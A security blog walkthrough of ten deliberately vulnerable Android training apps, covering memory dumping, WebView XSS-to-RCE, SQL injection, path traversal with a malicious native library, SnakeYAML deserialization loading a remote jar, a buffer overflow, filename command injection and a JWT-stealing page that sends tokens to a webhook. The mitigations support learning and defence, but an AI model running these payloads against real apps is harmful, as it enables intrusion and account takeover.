Home/Blog/Mobile

Android Hacking Lab Challenges Walkthrough

Breaking ten intentionally vulnerable Android apps with memory forensics, injection, path traversal, deserialization RCE and JWT theft

#Mobile#OWASP#Security-Research

Introduction

These writeups cover AndroidHackingLab (MHL) challenges — publicly available, deliberately vulnerable Android applications designed for mobile security training. Each lab demonstrates a distinct vulnerability class — from insecure broadcast receivers and SQL injection to insecure deserialization, path traversal, memory corruption (heap overflow), command injection, and webview bridge abuse.

All labs run inside an Android emulator with ADB root access. We use jadx for decompiling APKs, apktool for rebuilding and smali patching, frida for dynamic instrumentation, and adb + shell commands for exploitation. The environment mirrors the one from the Introduction to Android App Hacking guide.

Lab 1: Strings — Memory Dump Forensics CTF

The idea of the challenge is to try to access the flag by dump the runtime memory of applications and access its strings then search for any flag format like MHL{} or CTF{}.

If we opened the application, it will give us “Hello from C++” only, if i got as a hint that the native libraries will be helpful too.

If we opened the Manifest file, we gonna see one more

AndroidManifest.xml — exported activity with mhl://labs deep link

If we go to this activity and check its onCreate() method, we will notice that this activity will load the flag but under two conditions

  1. the action of Intent must be VIEW and the shared preferences should include a string with UUU00133 ID
  2. the Path included in the path must be equal to a specific secret that's hardcoded in the code
Decompiled Kotlin — hardcoded secret key and IV in Activity2

As we noticed also that the secret key and IV are hardcoded in the application too, which's totally insecure

Decompiled code showing hardcoded fixedIV = '1234567890123456'

We can get the secret as plaintext if we followed the Decryption steps that mentioned in the decrypt() method

CyberChef recipe — From Base64 then AES Decrypt with hardcoded IV
CyberChef output — plaintext secret mhl_secret_1337

Now, we need to satisfy both conditions to make the activity load the flag

  • First one: I did two different approach and both worked
  • I did smali patching the application at this condition to make always return true (we can even make it in both of the IFs)
  • I've notice a function in the application that actually created this shared preference but it never called in the app, so I will intercept with Frida to call it
Smali patched code — return true for both flag conditions
  • Second One: after we got the secret with cyber chef we can send this secret (Base64-Encoded) in the Deep-Link to the activity, it will load the flag

The Frida script:

javascript
Java.perform(function(){ // we added setTimeOut to make the main activity is created before we run the script. setTimeout(function(){ Java.choose("com.mobilehackinglab.challenge.MainActivity", { onMatch: function(call){ call.KLOW(); }, onComplete: function(){ console.log("The KLOW function is called successfully."); } }); },2000); });

After hooking we can just run

bash
adb shell am start -a "android.intent.action.VIEW" "mhl://labs/bWhsX3NlY3JldF8xMzM3"

it will just display a toast message contains “Success”

App toast showing Success after deep link

which means it loaded the flag correctly, now all we need is using a forensics tool called fridump3.py to dump the application's runtime memory:

bash
python3 fridump.py --usb --strings $(adb shell pidof com.mobilehackinglab.challenge)

It will Create a dump folder, we can now search for any flag format like MHL{} or CTF{}

bash
nyx0r@kali:~$ strings dump/* | grep -E "MHL{|CTF{" MHL{IN_THE_MEMORY}

Lab 2: Postboard — XSS to RCE via JavaScript Bridge

The application provides one functionality that takes an input from the user as a Markdown message then displays it on the activity.

If we opened the Manifest file in Jadx, we will see just the main activity that is accessible by deep link as postboard://postmessage/..

Postboard Manifest — exported MainActivity with postboard:// scheme

So let's discover the main activity code.

Postboard MainActivity — onCreate() with setupWebView() and handleIntent()

We will see two interesting functions at the end of the onCreate() method of the activity: one is responsible for setting up the WebView of the app (so maybe the content is rendered on a WebView), and handleIntent() which handles the intent coming to the activity.

If we look at the setupWebView() method:

Postboard setupWebView() — JavaScript enabled + WebAppInterface bridge

We will see that it enables JavaScript execution on the WebView (a hint for XSS), and it adds a JavaScript Interface related to the WebAppInterface class with “WebAppInterface” as the bridge name.

Note: JavaScript Interface means some methods are accessible from the WebView to be executed as JavaScript functions on the WebView — but to call it, the method should be preceded by @JavascriptInterface and its class should be accessed by a bridge.

We will go into details on this interface later, but now let's continue with the second method which is handleIntent():

Postboard handleIntent() — VIEW action, postboard:// URI parsing
  1. The function checks if the action is VIEW action and URI is like postboard://postmessage/..
  2. Take the path in the URI and Base64 decode it
  3. Save it in a variable called message (maybe it's our input in the MainActivity)
  4. Load it as a JavaScript scheme inside a function called postMarkdownMessage

Now let's go to this WebAppInterface and see what postMarkdownMessage can actually do.

Postboard postMarkdownMessage() — markdown to HTML without sanitization

This function just takes the Markdown message from the intent and maps it to HTML code to render it in the WebView (without sanitization).

So we can exploit XSS by sending an XSS payload like <svg/onload="alert('Nyx0r_1s)H3r3');"> in the path as Base64 encoded.

bash
adb shell am start -a "android.intent.action.VIEW" "postboard://postmessage/PHN2Zy9vbmxvYWQ9ImFsZXJ0KDEpIj4="
Postboard XSS via deep link — alert(Nyx0r) triggered in WebView

That's very good, but the objective of the app is to get an RCE, which means there's an interface that executes commands on the system — so let's search over all the interfaces in the application.

I saw a method called postCowsayMessage() that takes a message as an input and sends it to the runCowsay() function.

Postboard WebAppInterface — postCowsayMessage() method

If we check the runCowsay() function:

Postboard runCowsay() — message appended to bash command

It takes the message and adds it in a raw bash command then executes it, so if we try to inject any simple OS Command Injection payload like ;`` or $() it will work successfully.

But to get the RCE, we need to access the Cowsay function. Since it's called by a JavaScript Interface and we can execute any JS interface due to XSS, we can chain it to get RCE on the app.

Attack chain:

plain
Cross-Site Scripting —> @JavascriptInterface —> OS Command Injection —> RCE

So the final payload should be:

html
<svg/onload=alert(window.WebAppInterface.postCowsayMessage("$(whoami)"))>
Postboard RCE via XSS — whoami output shown in WebView

But I got undefined instead of the result of the command. I noticed another interface used to load all the cached messages sent by the user, so I tried it to see how the app handles my payload.

Postboard RCE — cached message displaying whoami result

It displays the cached message including the payload — and now we got the result of the RCE!

Root cause: The app renders unsanitized user input from a deep-link URI directly into a WebView with JavaScript enabled and a @JavascriptInterface bridge exposed. XSS in the WebView lets us call postCowsayMessage(), which passes our input directly to a shell command — giving us RCE without any device access beyond a deep link.

Mitigation: Sanitize or escape all user-supplied HTML before rendering it in a WebView, avoid exposing @JavascriptInterface methods that perform OS commands, and validate the deep-link URI structure on the native side before passing it to the WebView.

Lab 3: GuessMe — Deep Link XSS to RCE via JavaScript Bridge

The application just takes a guessed number from the user, over and over, until the user can get the correct number. The interesting part is not the guessing logic — it's what the app does with the deeplink it accepts.

Let's open the manifest file on JADX.

AndroidManifest.xml — exported WebView activity with mhl:// scheme

We will notice an exported WebView Activity that can be accessed by a deep link like mhl://mobilehackinglab/…

So let's see what's inside it.

GuessMe WebView setup — JavaScript enabled and AndroidBridge interface added

In the WebView setup, the JavaScript execution is enabled and there's an interface related to the MyJavaScriptInterface class with AndroidBridge as the bridge name.

We will go deep into it, but let's see the handleDeepLink() method first.

GuessMe handleDeepLink() — validates the deeplink then calls loadDeepLink(uri)

The function checks first if it is a valid deep link, and if it is, it will load the URI that the deep link provided with the intent.

If we looked at the function that checks on the deep link:

GuessMe deeplink validation — scheme/host check and url query parameter endsWith check

It's just a check that the scheme equals to mhl or https and the host equals to mobilehackinglab, then take the query parameter called url, check if its value (endsWith) with mobilehackinglab.com.

So the normal shape of the Intent's Data is:

plain
mhl://mobilehackinglab/?url=....mobilehackinglab.com

After the check ends, we will go to the loadDeepLink(uri) method.

GuessMe loadDeepLink() — takes the url query parameter and loads it in the WebView

It takes the link in the url query parameter and loads it in the WebView.

So the activity takes the value of the url query parameter that was sent by the user and loads it on a WebView that allows JS execution — that's an XSS obviously, but there's a small problem.

The url value must end with mobilehackinglab.com to be a valid deep link, to make sure the app isn't loading any untrusted page.

But we can easily bypass it by adding this domain at the end of the malicious website as a parameter or a fragment:

plain
url=https://mobilehackinglab.com --> Valid url=https://malicious.com?x=mobilehackinglab.com --> Also Valid url=https://malicious.com#mobilehackinglab.com --> Also Valid

To fire up the XSS we need to follow these steps:

  1. Create a malicious page that executes JS like alert("1")
html
<html> <h2>Welcome to Nyx0r Page</h2> <script>alert("this_is_test_for_XSS")</script> </html>
  1. Make it publicly accessible
bash
nyx0r@kali:~$ python3 -m http.server 8000 nyx0r@kali:~$ ngrok http 8000
  1. Load the activity with the intent data
bash
adb shell am start -a "android.intent.action.VIEW" "mhl://mobilehacking/?url=https://malicious.com#mobilehackinglab.com"
GuessMe XSS — attacker page rendered in the WebView with alert triggered

If we went back to the interface related to the WebView, we will find one interface called getTime(time) (accessed by the bridge name AndroidBridge as mentioned in the WebView settings) that takes an input as a time, puts it in a command shell, and returns the result.

GuessMe MyJavaScriptInterface — getTime(time) passing input into a shell command

Since it's a JavaScript Interface, we can call it from the WebView and get the results, which leads to RCE.

So we will just change the malicious page's code to:

html
<html> <h2>Welcome to Nyx0r Page</h2> <script> var rce = window.AndroidBridge.getTime("whoami"); alert(rce) </script> </html>

And restart the activity:

bash
adb shell am start -a "android.intent.action.VIEW" "mhl://mobilehacking/?url=https://malicious.com#mobilehackinglab.com"
GuessMe RCE — whoami output returned from getTime() and shown via alert

Root cause: The app loads an attacker-controlled URL from a deep-link query parameter into a WebView with JavaScript enabled and an @JavascriptInterface bridge exposed. The only validation is a naive endsWith("mobilehackinglab.com") on the URL string, which is trivially satisfied with a query parameter or fragment, so any page can be loaded — and from there AndroidBridge.getTime() hands our input straight to a shell, giving us RCE without any device access beyond an intent.

Mitigation: Never load arbitrary remote content in a WebView that exposes a JavaScript bridge. If remote loading is required, allowlist the URL with a real parsed-host comparison instead of endsWith, strip any fragment/query tricks by comparing canonical origins, and drop the bridge entirely or restrict it to a minimal, non-shell-exposing API. Also keep the deep-link activity exported= unless it genuinely needs to be reachable from other apps.

Lab 4: IoT Connect — Broadcast Receiver Bypass

The idea of the lab: there's an exploitable broadcast receiver that can be used to control other devices we should have the ability to control. After signing up and logging in with a new account, we get two functionalities:

  1. Setup — used to control the devices, but all of them are available to us as guest.
  2. Master Switch — a switch to turn on all the devices, but still not accessible by guests.
IoT Connect setup screen — device controls available as guest
IoT Connect master switch — locked for guest accounts

1. Reconnaissance with the Manifest

Let's check the source code to know how these functionalities are handled. First, check the AndroidManifest.xml to discover the app components:

AndroidManifest.xml — app components part 1
AndroidManifest.xml — app components part 2

We see a non-exported activity related to the Master Switch called MasterSwitchActivity, and an exported Broadcast Receiver with action MASTER_ON — so it should be related to the Master Switch too.

MasterSwitchActivity — non-exported activity in the manifest

2. Tracing the Flow

Step 1 — In the Master Switch activity, it takes the PIN we entered (if we're not a guest account) and sends a broadcast message via intent with the MASTER_ON action:

MasterSwitchActivity — sends MASTER_ON broadcast with the PIN

Step 2 — In the onReceive() method of the receiver, it takes the PIN we entered and sends it to a check_key function that checks if the key is correct, then turns on all devices:

BroadcastReceiver onReceive() calling check_key with the PIN

This function takes the PIN code and uses it to try to decrypt a secret, then checks whether the decrypted text equals master_on. So we need to figure out the 3-digit PIN that makes the decrypted secret equal master_on.

3. Cracking the PIN — Two Approaches

Approach 1 — brute-force externally in a script from 000 to 999 until we get the PIN that decrypts the secret to master_on.

Approach 2 — use bash to fire the broadcast for every PIN from 000 to 999 until the master switch works:

bruteforce-pin.sh
1for key in $(seq -w 0 999); do 2 adb shell am broadcast -a "MASTER_ON" -ei key "$key" 3done

We will find that 345 is the right key. The final PoC to turn on all devices:

exploit.sh
adb shell am broadcast -a "MASTER_ON" -ei key 345

Root cause: The Broadcast Receiver is exported without any permission protection, so any app (or ADB) can invoke it directly — completely bypassing the non-exported activity's guest check. Mitigation: Protect receivers with a custom permission (e.g. android:permission), or do not export them if external invocation is not required.

Lab 5: Food Store — SQL Injection to Privilege Escalation

The Food Store app contains two functionalities (Login and Signup), and the Main Activity contains food items we can order. Two things about the app:

  • The application by default makes all signups a regular user role who has no enough credits to order anything.
  • The objective of the lab is to try to order anything from the store via SQLi.

1. Reconnaissance with jadx

First, we need to check how login and signup are handled in the app — see what jadx caught:

jadx decompilation — three activities, two exported

We have three activities (food items, login, signup), two of which are exported.

2. Following the Signup Flow

Let's check the Signup activity — it will execute the highlighted function after clicking the signup button:

SignupActivity — function called on signup button click
Signup function — checks data not null, calls addUser()

All the function does is check that the data is not null, then send it to a function called addUser() which is implemented in the dbHelper():

addUser() — data concatenated into a raw SQL query

As we see, the application takes the data and puts it in a raw SQL query without any sanitization — so it will be a very basic SQLi.

3. Crafting the SQLi Payload

The normal query after concatenation looks like this:

normal-query.sql
1INSERT INTO users (username, password, address, isPro) 2VALUES ('test', 'encrypted', 'encrypted', 0);

We need a payload that overrides the query to make the last value, isPro, equal 1:

payload.txt
admin', 'c2F5ZWQ=', 'c2F5ZWQ=', 1); --

So the full query becomes:

injected-query.sql
1INSERT INTO users (username, password, address, isPro) 2VALUES ('test', 'encrypted', 'encrypted', 1); -- ', 'encrypted', 'encrypted', 0);
SQLi payload entered in the signup form

4. Verifying and Ordering

We can check if the payload executed successfully by pulling the database and reading the records:

Pulled database — record shows isPro = 1

Now, let's try to login so we can order something:

Logging in with the injected account
Ordering food items with pro privileges

Mitigation: Use parameterized queries (e.g. SQLiteDatabase.insertWithOnEq with bind args). Never concatenate user input directly into SQL statements.

Lab 6: DocumentViewer — Path Traversal to RCE

The idea of the lab is to obtain RCE on the target device by exploiting a path traversal vulnerability in the copying functionality provided by the app.

  • copyFileFromUri — takes the PDF from the URI, renders it, and saves a copy of it in the DOWNLOADS directory.
copyFileFromUri — copies PDF from URI to Downloads directory

The application by default tries to load a native library located at /data/data/<package-name>/files/native-libraries/<build>/libdocviewer_pro.so and, if found, the app will try to call a method initProFeatures(); — but both of them are not found:

Native library load path and initProFeatures() call

What if we could put a malicious .so file that includes a malicious initProFeatures(); that executes shell commands? In the normal case we don't have permissions to edit or add anything in the package directory — so we need the app itself to put our .so file in its package directory.

In other words: abuse the way copyFileFromUri copies from the file we send, to make it save to the package dir. Two key facts:

  • The default DIRECTORY_DOWNLOADS is /storage/emulated/0/Download.
  • Because copyFileFromUri only takes the last path segment, we need the last segment to be the path traversal payload (so let's URL-encode it).

Step 1 — Create the malicious .so

RCE.c
1#include <stdlib.h> 2 3__attribute__((constructor)) void command() { 4 system("echo $(whoami) > /data/data/com.mobilehackinglab.documentviewer/rce.txt"); 5}

Step 2 — Build the .so for the device ABI

build-so.sh
1# Get the device ABI 2adb shell getprop ro.product.cpu.abi 3 4# Build the shared library (use the matching toolchain) 5x86_64-linux-android21-clang -shared -fPIC -o libdocviewer_pro.so RCE.c

Step 3 — Serve the file so any request returns it

serve.sh
php -S localhost:8000 libdocviewer_pro.so

Step 4 — Make it publicly available

ngrok.sh
ngrok http 8000

Step 5 — Trigger the traversal via intent

exploit.sh
1adb shell am start -n "com.mobilehackinglab.documentviewer/.MainActivity" \ 2 -a android.intent.action.VIEW \ 3 "https://<ngrok-url>/..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fdata%2Fdata%2F0%2Fcom.mobilehackinglab.documentviewer%2Ffiles%2Fnative-libraries%2Fx86_64%2Flibdocviewer_pro.so"

Step 6 — Understanding the path resolution

The Ngrok server always returns the file content, and when copyFileFromUri tries to get the last segment it receives the URL-encoded traversal payload, which decodes to:

decoded-segment.txt
1../../../../../../../../../../../../../../data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64/libdocviewer_pro.so

After concatenating it with the Downloads directory:

path-resolution.txt
1/storage/emulated/0/Download/../../../../../../../../../../../../../../data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64/libdocviewer_pro.so 2↓ 3/data/data/com.mobilehackinglab.documentviewer/files/native-libraries/x86_64/libdocviewer_pro.so

Result

Now if we restart the app, it will crash — but if we go to the package directory we'll find the file contains the executed command:

RCE result — rce.txt written in the app's private directory

We can now change the script to make it connect to our C2 server.

Lab 7: Config Editor — SnakeYAML Deserialization to RCE

Config Editor is an application that takes a .yml file and loads it on the app, plus saves a copy of it in the DOWNLOAD directory. If we look at the application manifest after jadx's compilation, it contains just the MainActivity of the application:

Config Editor manifest — only MainActivity present
YAML load flow — .yml file loaded and copied to Downloads

The YAML loading code uses an unsafe load() with no SafeConstructor — insecure deserialization that lets us instantiate arbitrary classes:

ConfigLoader.java
Yaml yaml = new Yaml($this$loadYaml...); // No SafeConstructor! Object deserializedData = yaml.load(inputStream); // Unsafe load()

Step 1 — Create the Java gadget

Create the Java code that creates the exploit gadget, ExploitEngineFactory.java:

ExploitEngineFactory.java
1import javax.script.*; 2import java.util.List; 3import java.util.Collections; 4import java.io.IOException; 5 6public class ExploitEngineFactory implements ScriptEngineFactory { 7 static { 8 try { 9 Runtime.getRuntime().exec(new String[]{ 10 "sh", "-c", 11 "id > /data/data/com.mobilehackinglab.configeditor/pwned.txt" 12 }); 13 } catch (IOException e) { 14 e.printStackTrace(); 15 } 16 } 17 18 @Override public String getEngineName() { return ""; } 19 @Override public String getEngineVersion() { return ""; } 20 @Override public List<String> getExtensions() { return Collections.emptyList(); } 21 @Override public List<String> getMimeTypes() { return Collections.emptyList(); } 22 @Override public List<String> getNames() { return Collections.emptyList(); } 23 @Override public String getLanguageName() { return ""; } 24 @Override public String getLanguageVersion() { return ""; } 25 @Override public Object getParameter(String key) { return null; } 26 @Override public String getMethodCallSyntax(String obj, String m, String... args) { return ""; } 27 @Override public String getOutputStatement(String toDisplay) { return ""; } 28 @Override public String getProgram(String... statements) { return ""; } 29 @Override public ScriptEngine getScriptEngine() { return null; } 30}

Step 2 — Build it as a jar file

build-jar.sh
1# Compile targeting Java 8 (Android compatible) 2javac --release 8 ExploitEngineFactory.java 3 4# Create the ServiceLoader registration file 5mkdir -p META-INF/services 6echo "ExploitEngineFactory" > META-INF/services/javax.script.ScriptEngineFactory 7 8# Package 9jar cvf exploit.jar ExploitEngineFactory.class META-INF/

Step 3 — Create the YAML payload

Create the YAML payload from that gadget using the .jar file. The evil.yaml will contain:

evil.yaml
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://YOUR_IP:8888/exploit.jar"]]]]

Step 4 — Host both files

host.sh
# Serve from the same directory containing evil.yaml and exploit.jar python3 -m http.server 8888

Step 5 — Trigger/load via ADB

trigger.sh
1adb shell am start \ 2 -a android.intent.action.VIEW \ 3 -n "com.mobilehackinglab.configeditor/.MainActivity" \ 4 "http://YOUR_IP:8888/evil.yaml"

Step 6 — Confirm the command executed

verify-rce.sh
1adb shell run-as com.mobilehackinglab.configeditor cat pwned.txt 2adb logcat | grep -i "configeditor\|yaml\|exploit" # check for errors

Mitigation: Use SnakeYAML's SafeConstructor (or LoaderOptions with a tag allowlist), never load YAML from untrusted sources with arbitrary type instantiation, and canonicalize/validate file paths before writing copies to disk.

Lab 8: Note-Keeper — Buffer Overflow to RCE

The idea of the lab is to exploit the buffer overflow vulnerability in the application to reach RCE (Remote Command Execution). If we start the application we will see a normal note-taking app that takes the title and the content of the note and prints the number of characters.

Note that there's a native lib imported with a function called parse():

NoteKeeperActivity.java
public final native String parse(String Title);

This function handles the title, and it's the only input handled by C code — which is usually where buffer overflows live. We opened Ghidra and uploaded the .so file that contains the parse() function:

Ghidra view of the native parse() function

We can use any AI Agent (I'm using Hermes agent) to refine the code and make the flow clearer:

parse_decompiled.c
1jstring Java_com_mobilehackinglab_notekeeper_MainActivity_parse(JNIEnv *env, jobject thiz, jstring title) 2{ 3 int i; 4 char decoded_title[100]; // was local_2a4 5 char shell_cmd[500]; // was acStack_240 — sits right after decoded_title on the stack 6 int title_len; // was local_4c 7 const jchar *title_chars; // was local_48 (raw UTF-16 chars from the jstring) 8 jstring result; // was local_28 9 10 title_chars = env->GetStringChars(title, NULL); 11 title_len = env->GetStringLength(title); 12 13 // Pre-load the command buffer with a logging command 14 memcpy(shell_cmd, "Log \"Note added at $(date)\"", 500); 15 16 if (title_chars == NULL) { 17 result = NULL; 18 } else { 19 // Decode first char via a lookup/transform function 20 decoded_title[0] = decode_char(title_chars[0] & 0xff); 21 22 // Copy remaining UTF-16 chars down to 8-bit chars — NO bounds check against 23 // the 100-byte size of decoded_title 24 for (i = 1; i < title_len; i++) { 25 decoded_title[i] = (char)title_chars[i]; 26 } 27 28 system(shell_cmd); // executes whatever is currently in shell_cmd 29 decoded_title[i] = '\0'; 30 result = env->NewStringUTF(decoded_title); 31 } 32 return result; 33}

We will note that the title goes to a variable that has a 100-byte size in memory, but the app doesn't check if we really entered 100 bytes or not — so we can fill the buffer and overwrite other addresses/variables.

Stack layout — decoded_title overflow into shell_cmd

In this situation, we can see that we have the ability to override a variable that goes through the system() function — which means that variable is treated as a shell command.

Crafting the Payload

So the payload is 100 random characters to fill the buffer, then a command we want to execute:

payload.txt
1AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAid > /data/data/com.mobilehackinglab.notekeeper/RCE.txt
RCE proof — id output written via overflowed shell_cmd

Mitigation: Validate input length before copying into fixed-size buffers, use bounds-checked functions or memory-safe languages, and never call system() on a buffer that user input can reach.

Lab 9: Cyclic Scanner — Command Injection via Filename

The idea of the lab: the application runs a service that searches for files saved in the device's external storage, calculates each file's hash, and compares it to known malware samples — then prints in the log SAFE or INFECTED.

The service takes all the files inside the external storage directory and starts scanning each of them. The main vulnerability is in the scanFile() function used by the application:

scanFile() — unsanitized path passed to shell command

The function takes the path of the file (directory + file name) and puts it in a command that gets the SHA-1 checksum (digital fingerprint) — but it does so without any sanitization or check before adding anything to the command. So if we can escape the command, we get OS command injection. But it doesn't take any input from the user — so we need to abuse the path itself (which will be the filename):

Command construction with unsanitized file path

So all we need now is to create a file whose name contains an OS injection payload:

create_evil_file.sh
touch 'test;id>rce.txt'

Now, when we enable the scanner and wait a little, it will take the file, add it to the scanning command, escape it, execute the command, and save it in rce.txt.

Mitigation: Never build shell commands from unsanitized paths. Use a proper hashing API instead of shelling out to sha1sum. If shell execution is unavoidable, strictly whitelist allowed characters in filenames and use argument arrays (not string concatenation) to invoke commands.

Lab 10: TokenBleed — WebView JS Bridge JWT Theft

A cryptocurrency exchange app with a misconfigured WebView JS bridge. The exploit chains an exported deep-link activity + an over-privileged @JavascriptInterface to perform single-click remote JWT token theft → full account takeover.

1. Login Analysis

The app POSTs to https://mhl-cex-auth-worker.arnotstacc.workers.dev/api/login with any email + a 6-char password (lab simplification — any validly formatted email works). Returns a JWT:

login-response.json
{"authtoken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoi..."}

The token is wrapped and stored via EncryptedSharedPreferences:

TokenStorage.java
String str = "{ \"code\": \"0\", \"data\": { \"authtoken\": \"" + jwt + "\" } }"; new TokenManager(context).saveToken(str);

2. Deep Link Entry Point

SplashActivity is exported and handles the custom scheme mhlcrypto. When a token exists, it forwards the intent data to MainActivity, which passes user-controlled URLs to DWebViewActivity:

deep-link.txt
mhlcrypto://showPage?url=<attacker-controlled-https-url>

Flow: SplashActivity → MainActivity.handleIntent() → DWebViewActivity with extra "url_to_load". No domain allowlist, no URL validation beyond the deep link structure.

3. JavaScript Enablement (Hidden)

DWebViewActivity's code never calls setJavaScriptEnabled(true). But the WebView in the XML is wendu.dsbridge.DWebView — a subclass whose constructor calls init(), which enables JS:

DWebView.java
1// DWebView.init() — called from constructor 2settings.setJavaScriptEnabled(true); 3settings.setDomStorageEnabled(true); 4CookieManager.getInstance().setAcceptThirdPartyCookies(this, true);

JS is enabled by default despite not appearing in the activity code.

4. JS Bridge — getUserAuth()

DWebViewActivity registers a JsApi object with a null namespace via addJavascriptObject(). This exposes getUserAuth() to JavaScript through the dsBridge.call() API:

JsApi.java
1@JavascriptInterface 2public final void getUserAuth(Object args, CompletionHandler<Object> handler) { 3 String token = new TokenManager(this.context).getToken(); 4 if (token != null) { 5 handler.complete(new JSONObject(token)); 6 } else { 7 handler.complete(new JSONObject().put("error", "No token found")); 8 } 9}

Key details: JsApi registered with null namespace → exposed via dsBridge.call(), NOT android.getUserAuth(). The stored token format is {"code":"0","data":{"authtoken":"<JWT>"}} — so the JWT lives under .data.authtoken, not at the top level.

5. Exploitation — Token Exfiltration

Host this HTML on any HTTPS server (GitHub Pages, Netlify, etc.):

exploit.html
1<!DOCTYPE html> 2<html> 3<body> 4<script src="https://cdn.jsdelivr.net/npm/dsbridge@3.1.4/dist/dsbridge.min.js"></script> 5<script> 6function send(token){ 7 fetch("https://webhook.site/<YOUR-ID>?token=" + encodeURIComponent(token)); 8} 9function parse(res){ 10 if(typeof res==="string"){ try{ res=JSON.parse(res); }catch(e){} } 11 return res && res.data && res.data.authtoken; 12} 13document.addEventListener("DOMContentLoaded",()=>{ 14 const bridge = window.dsBridge || window._dsbridge; 15 if(!bridge || !bridge.call){ return; } 16 bridge.call("getUserAuth", {}, function(resp){ 17 const jwt = parse(resp); 18 if(jwt){ send(jwt); } 19 }); 20}); 21</script> 22</body> 23</html>

Critical payload details:

  • dsBridge.call() not android.getUserAuth() — null namespace means methods are exposed via the bridge object, not as a global.
  • parse() handles both string and object responses — dsBridge serialization is version-dependent.
  • Extracts res.data.authtoken — matches the wrapper format the app stores.
  • fetch() exfiltrates the JWT to the attacker's server.

Now, we can use ADB to make the WebView load the exploit page.

shell
1adb shell am start -a android.intent.action.VIEW "mhlcrypto://showPage?url=https://your-exploit-page.com/exploit.html"

One tap → app opens → WebView loads attacker page → dsBridge call steals token → webhook receives JWT.

TokenBleed exploit result — app loads attacker page
Webhook receives the stolen JWT token

7. Attack Chain Summary

  1. Attacker creates lure page with intent:// deep link.
  2. User taps link → mhlcrypto:// scheme opens SplashActivity.
  3. SplashActivity forwards to MainActivity (token exists) → DWebViewActivity.
  4. DWebViewActivity loads attacker's HTTPS page in DWebView (dsBridge-enabled WebView).
  5. dsBridge.call('getUserAuth') retrieves token via @JavascriptInterface.
  6. JWT exfiltrated to attacker's webhook server.
  7. Attacker uses stolen JWT to perform account actions (password reset → full takeover).

8. Root Cause & Remediation

  • Do not let user-controlled data dictate URLs loaded in a WebView.
  • Never expose sensitive data (auth tokens) via a JS-Java bridge.
  • Use Network Security Config to restrict allowed domains.
  • Use an allowlist for URLs loaded in WebViews instead of accepting arbitrary input.